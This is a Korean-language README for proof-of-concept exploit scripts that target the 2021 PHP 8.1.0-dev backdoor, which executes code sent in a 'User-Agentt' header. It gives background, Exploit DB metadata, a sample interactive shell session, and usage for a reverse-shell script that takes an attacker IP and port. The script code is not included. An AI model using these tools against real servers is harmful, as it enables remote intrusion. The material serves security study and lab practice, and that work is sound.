PHP 8.1.0-dev 백도어 원격 코드 실행

PHP 8.1.0-dev 백도어 시스템 셸 스크립트

PHP 8.1.0-dev 버전은 2021년 3월 28일에 백도어와 함께 출시되었지만, 백도어는 곧 발견되어 제거되었습니다. 이 버전의 PHP가 서버에서 실행되는 경우, 공격자는 User-Agentt 헤더를 전송하여 임의의 코드를 실행할 수 있습니다.

문제가 발견된 후 원래 코드가 복원되었지만, 이후 두 번째로 변조되었습니다. 이 침해로 인해 손상된 버전의 PHP를 실행한 모든 웹사이트에 백도어가 생성되어, 해커가 해당 사이트에서 원격 코드 실행을 수행할 수 있게 되었을 것입니다.

전체 기사 읽기: https://flast101.github.io/php-8.1.0-dev-backdoor-rce/

POC 스크립트

이 짧은 익스플로잇 스크립트 backdoor_php_8.1.0-dev.py는 백도어를 사용하여 호스트에서 의사 시스템 셸을 제공합니다. Exploit DB에서 찾을 수 있습니다.

• 익스플로잇 제목: PHP 8.1.0-dev 백도어 원격 코드 실행
• 날짜: 2021년 5월 23일
• 익스플로잇 작성자: flast101
• 공급업체 홈페이지: https://www.php.net/
• 소프트웨어 링크: https://github.com/vulhub/vulhub/tree/master/php/8.1-backdoor
• 테스트된 버전: 8.1.0-dev
• CVE : N/A
• 취약점 참조:
  https://github.com/php/php-src/commit/2b0f239b211c7544ebc7a4cd2c977a5b7a11ed8a
  https://github.com/vulhub/vulhub/blob/master/php/8.1-backdoor/README.zh-cn.md

사용법:

┌──(user㉿kali)-[~/Documents]
└─$ python3 backdoor_php_8.1.0-dev.py
  
Enter the host url:
http://a.b.c.d

Interactive shell is opened on http://a.b.c.d 
Can't acces tty; job crontol turned off.
$ id
uid=1000(user) gid=1000(user) groups=1000(user)

리버스 셸

이 짧은 익스플로잇 스크립트 revshell_php_8.1.0-dev.py는 대상에서 리버스 셸을 제공합니다.

사용법:

┌──(user㉿kali)-[~/Documents]
└─$ python3 revshell_php_8.1.0-dev.py <target URL> <attacker IP> <attacker PORT>

호기심을 가지세요, 배움은 삶입니다! 😃